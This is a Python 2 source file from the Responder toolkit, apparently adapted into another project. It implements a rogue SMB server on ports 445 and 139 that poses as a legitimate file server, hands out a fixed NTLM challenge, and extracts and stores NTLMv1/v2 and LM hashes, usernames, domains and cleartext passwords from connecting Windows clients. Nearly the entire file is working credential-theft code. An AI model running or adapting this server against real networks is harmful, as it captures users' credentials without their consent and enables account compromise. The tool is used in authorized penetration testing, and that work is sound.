#!/usr/bin/env python2
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import struct
import core.responder.settings as settings
import threading
import socket

from random import randrange
from core.responder.packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
from core.responder.utils import *

class SMB:

    def start(self):
        try:
            #if OsInterfaceIsSupported():
            #    server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1)
            #    server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1)
            #else:
            server1 = ThreadingTCPServer(('0.0.0.0', 445), SMB1)
            server2 = ThreadingTCPServer(('0.0.0.0', 139), SMB1)

            for server in [server1, server2]:
                t = threading.Thread(name='SMB', target=server.serve_forever)
                t.setDaemon(True)
                t.start()
        except Exception as e:
            print "Error starting SMB server: {}".format(e)

class ThreadingTCPServer(ThreadingMixIn, TCPServer):
    
    allow_reuse_address = 1

    def server_bind(self):
        if OsInterfaceIsSupported():
            try:
                self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
            except:
                pass
        TCPServer.server_bind(self)

# Detect if SMB auth was Anonymous
def Is_Anonymous(data):
    SecBlobLen = struct.unpack('<H',data[51:53])[0]

    if SecBlobLen < 260:
        LMhashLen = struct.unpack('<H',data[89:91])[0]
        return True if LMhashLen == 0 or LMhashLen == 1 else False

    if SecBlobLen > 260:
        LMhashLen = struct.unpack('<H',data[93:95])[0]
        return True if LMhashLen == 0 or LMhashLen == 1 else False

def Is_LMNT_Anonymous(data):
    LMhashLen = struct.unpack('<H',data[51:53])[0]
    return True if LMhashLen == 0 or LMhashLen == 1 else False

#Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data):
    packet = data
    try:
        Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])

        if Dialect[0] == "NT LM 0.12":
            return "\x00\x00"
        if Dialect[1] == "NT LM 0.12":
            return "\x01\x00"
        if Dialect[2] == "NT LM 0.12":
            return "\x02\x00"
        if Dialect[3] == "NT LM 0.12":
            return "\x03\x00"
        if Dialect[4] == "NT LM 0.12":
            return "\x04\x00"
        if Dialect[5] == "NT LM 0.12":
            return "\x05\x00"
        if Dialect[6] == "NT LM 0.12":
            return "\x06\x00"
        if Dialect[7] == "NT LM 0.12":
            return "\x07\x00"
        if Dialect[8] == "NT LM 0.12":
            return "\x08\x00"
        if Dialect[9] == "NT LM 0.12":
            return "\x09\x00"
        if Dialect[10] == "NT LM 0.12":
            return "\x0a\x00"
        if Dialect[11] == "NT LM 0.12":
            return "\x0b\x00"
        if Dialect[12] == "NT LM 0.12":
            return "\x0c\x00"
        if Dialect[13] == "NT LM 0.12":
            return "\x0d\x00"
        if Dialect[14] == "NT LM 0.12":
            return "\x0e\x00"
        if Dialect[15] == "NT LM 0.12":
            return "\x0f\x00"
    except Exception:
        print 'Exception on Parse_Nego_Dialect! Packet hexdump:'
        print hexdump(packet)

#Set MID SMB Header field.
def midcalc(data):
    pack=data[34:36]
    return pack

#Set UID SMB Header field.
def uidcalc(data):
    pack=data[32:34]
    return pack

#Set PID SMB Header field.
def pidcalc(data):
    pack=data[30:32]
    return pack

#Set TID SMB Header field.
def tidcalc(data):
    pack=data[28:30]
    return pack

def ParseShare(data):
    packet = data[:]
    a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
    if a:
        settings.Config.ResponderLogger.info("[SMB] Requested Share     : %s" % a.group(0).replace('\x00', ''))

#Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client):
    SecBlobLen = struct.unpack('<H',data[51:53])[0]
    BccLen     = struct.unpack('<H',data[61:63])[0]

    if SecBlobLen < 260:
        SSPIStart    = data[75:]
        LMhashLen    = struct.unpack('<H',data[89:91])[0]
        LMhashOffset = struct.unpack('<H',data[91:93])[0]
        LMHash       = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
        NthashLen    = struct.unpack('<H',data[97:99])[0]
        NthashOffset = struct.unpack('<H',data[99:101])[0]

    else:
        SSPIStart    = data[79:]
        LMhashLen    = struct.unpack('<H',data[93:95])[0]
        LMhashOffset = struct.unpack('<H',data[95:97])[0]
        LMHash       = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
        NthashLen    = struct.unpack('<H',data[101:103])[0]
        NthashOffset = struct.unpack('<H',data[103:105])[0]

    if NthashLen == 24:
        SMBHash      = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
        DomainLen    = struct.unpack('<H',data[105:107])[0]
        DomainOffset = struct.unpack('<H',data[107:109])[0]
        Domain       = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
        UserLen      = struct.unpack('<H',data[113:115])[0]
        UserOffset   = struct.unpack('<H',data[115:117])[0]
        Username     = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
        WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)

        SaveToDb({
            'module': 'SMB', 
            'type': 'NTLMv1-SSP', 
            'client': client, 
            'user': Domain+'\\'+Username, 
            'hash': SMBHash, 
            'fullhash': WriteHash,
        })

    if NthashLen > 60:
        SMBHash      = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
        DomainLen    = struct.unpack('<H',data[109:111])[0]
        DomainOffset = struct.unpack('<H',data[111:113])[0]
        Domain       = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
        UserLen      = struct.unpack('<H',data[117:119])[0]
        UserOffset   = struct.unpack('<H',data[119:121])[0]
        Username     = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
        WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])

        SaveToDb({
            'module': 'SMB', 
            'type': 'NTLMv2-SSP', 
            'client': client, 
            'user': Domain+'\\'+Username, 
            'hash': SMBHash, 
            'fullhash': WriteHash,
        })

# Parse SMB NTLMv1/v2
def ParseLMNTHash(data, client):

    LMhashLen = struct.unpack('<H',data[51:53])[0]
    NthashLen = struct.unpack('<H',data[53:55])[0]
    Bcc = struct.unpack('<H',data[63:65])[0]
    Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])

    if NthashLen > 25:
        FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
        LmHash = FullHash[:32].upper()
        NtHash = FullHash[32:].upper()
        WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
    
        SaveToDb({
            'module': 'SMB', 
            'type': 'NTLMv2', 
            'client': client, 
            'user': Domain+'\\'+Username, 
            'hash': NtHash, 
            'fullhash': WriteHash,
        })

    if NthashLen == 24:
        NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
        LmHash = data[65:65+LMhashLen].encode('hex').upper()
        WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)

        SaveToDb({
            'module': 'SMB', 
            'type': 'NTLMv1', 
            'client': client, 
            'user': Domain+'\\'+Username, 
            'hash': NtHash, 
            'fullhash': WriteHash,
        })

def IsNT4ClearTxt(data, client):
    HeadLen = 36

    if data[14:16] == "\x03\x80":
        SmbData = data[HeadLen+14:]
        WordCount = data[HeadLen]
        ChainedCmdOffset = data[HeadLen+1]

        if ChainedCmdOffset == "\x75":
            PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]

            if PassLen > 2:

                Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
                User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
                settings.Config.ResponderLogger.info("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
                WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)

# SMB Server class, NTLMSSP
class SMB1(BaseRequestHandler):

    def handle(self):
        try:
            while True:
                data = self.request.recv(1024)
                self.request.settimeout(1)

                if len(data) < 1:
                    break

                ##session request 139
                if data[0] == "\x81":
                    Buffer = "\x82\x00\x00\x00"
                    try:
                        self.request.send(Buffer)
                        data = self.request.recv(1024)
                    except:
                        pass

                # Negociate Protocol Response
                if data[8:10] == "\x72\x00":
                    # \x72 == Negociate Protocol Response
                    Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
                    Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
                    Body.calculate()
        
                    Packet = str(Header)+str(Body)
                    Buffer = struct.pack(">i", len(''.join(Packet)))+Packet

                    self.request.send(Buffer)
                    data = self.request.recv(1024)

                # Session Setup AndX Request
                if data[8:10] == "\x73\x00":
                    IsNT4ClearTxt(data, self.client_address[0])
                    
                    # STATUS_MORE_PROCESSING_REQUIRED
                    Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
                    Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
                    Body.calculate()
        
                    Packet = str(Header)+str(Body)
                    Buffer = struct.pack(">i", len(''.join(Packet)))+Packet

                    self.request.send(Buffer)
                    data = self.request.recv(4096)

                    # STATUS_SUCCESS
                    if data[8:10] == "\x73\x00":
                        if Is_Anonymous(data):
                            Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
                            Body = SMBSessEmpty()

                            Packet = str(Header)+str(Body)
                            Buffer = struct.pack(">i", len(''.join(Packet)))+Packet

                            self.request.send(Buffer)

                        else:
                            # Parse NTLMSSP_AUTH packet
                            ParseSMBHash(data,self.client_address[0])

                            # Send STATUS_SUCCESS
                            Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
                            Body = SMBSession2Accept()
                            Body.calculate()

                            Packet = str(Header)+str(Body)
                            Buffer = struct.pack(">i", len(''.join(Packet)))+Packet

                            self.request.send(Buffer)
                            data = self.request.recv(1024)
                
                # Tree Connect AndX Request
                if data[8:10] == "\x75\x00":
                    ParseShare(data)
                    # Tree Connect AndX Response
                    Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
                    Body = SMBTreeData()
                    Body.calculate()

                    Packet = str(Header)+str(Body)
                    Buffer = struct.pack(">i", len(''.join(Packet)))+Packet

                    self.request.send(Buffer)
                    data = self.request.recv(1024)

                ##Tree Disconnect.
                if data[8:10] == "\x71\x00":
                    Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
                    Body = "\x00\x00\x00"

                    Packet = str(Header)+str(Body)
                    Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
                    
                    self.request.send(Buffer)
                    data = self.request.recv(1024)
                
                ##NT_CREATE Access Denied.
                if data[8:10] == "\xa2\x00":
                    Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
                    Body = "\x00\x00\x00"

                    Packet = str(Header)+str(Body)
                    Buffer = struct.pack(">i", len(''.join(Packet)))+Packet

                    self.request.send(Buffer)
                    data = self.request.recv(1024)
                
                ##Trans2 Access Denied.
                if data[8:10] == "\x25\x00":
                    Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
                    Body = "\x00\x00\x00"

                    Packet = str(Header)+str(Body)
                    Buffer = struct.pack(">i", len(''.join(Packet)))+Packet

                    self.request.send(Buffer)
                    data = self.request.recv(1024)
                
                ##LogOff.
                if data[8:10] == "\x74\x00":
                    Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
                    Body = "\x02\xff\x00\x27\x00\x00\x00"

                    Packet = str(Header)+str(Body)
                    Buffer = struct.pack(">i", len(''.join(Packet)))+Packet

                    self.request.send(Buffer)
                    data = self.request.recv(1024)

        except socket.timeout:
            pass

# SMB Server class, old version
class SMB1LM(BaseRequestHandler):

    def handle(self):
        try:
            self.request.settimeout(0.5)
            data = self.request.recv(1024)
            
            ##session request 139
            if data[0] == "\x81":
                Buffer = "\x82\x00\x00\x00"
                self.request.send(Buffer)
                data = self.request.recv(1024)
            
            ##Negotiate proto answer.
            if data[8:10] == "\x72\x00":
                head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
                Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
                Body.calculate()
                Packet = str(head)+str(Body)
                Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
                self.request.send(Buffer)
                data = self.request.recv(1024)
            
            ##Session Setup AndX Request
            if data[8:10] == "\x73\x00":
                if Is_LMNT_Anonymous(data):
                    head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
                    Packet = str(head)+str(SMBSessEmpty())
                    Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
                    self.request.send(Buffer)

                else:
                    ParseLMNTHash(data,self.client_address[0])
                    head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
                    Packet = str(head)+str(SMBSessEmpty())
                    Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
                    self.request.send(Buffer)
                    data = self.request.recv(1024)

        except Exception:
            self.request.close()
            pass
